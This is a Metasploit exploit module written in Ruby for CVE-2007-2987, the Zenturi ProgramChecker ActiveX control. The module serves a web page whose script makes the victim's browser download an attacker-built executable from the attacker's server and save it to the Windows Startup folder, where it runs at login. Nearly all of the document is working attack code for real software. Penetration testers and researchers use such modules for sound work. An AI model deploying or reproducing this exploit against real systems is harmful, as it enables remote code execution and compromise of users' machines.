Zenturi ProgramChecker – ActiveX Control Arbitrary File Download (Metasploit)
## # $Id: zenturiprogramchecker_unsafe.rb 11127 2010-11-24 19:35:38Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Zenturi ProgramChecker ActiveX Control Arbitrary File Download', 'Description' => %q{ This module allows remote attackers to place arbitrary files on a users file system via the Zenturi ProgramChecker sasatl.dll (1.5.0.531) ActiveX Control. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 11127 $', 'References' => [ [ 'CVE', '2007-2987' ], [ 'OSVDB', '36715' ], [ 'BID', '24217' ], ], 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'May 29 2007', 'DefaultTarget' => 0)) register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']), ], self.class) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end vname = rand_text_alpha(rand(100) + 1) exe = rand_text_alpha(rand(20) + 1) content = %Q| <html> <object id='#{vname}' classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5'></object> <script language="JavaScript"> #{vname}.DownloadFile("#{payload_url}", "#{datastore['PATH']}\\#{exe}.exe", 1, 1); </script> </html> | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, content) handler(cli) end end |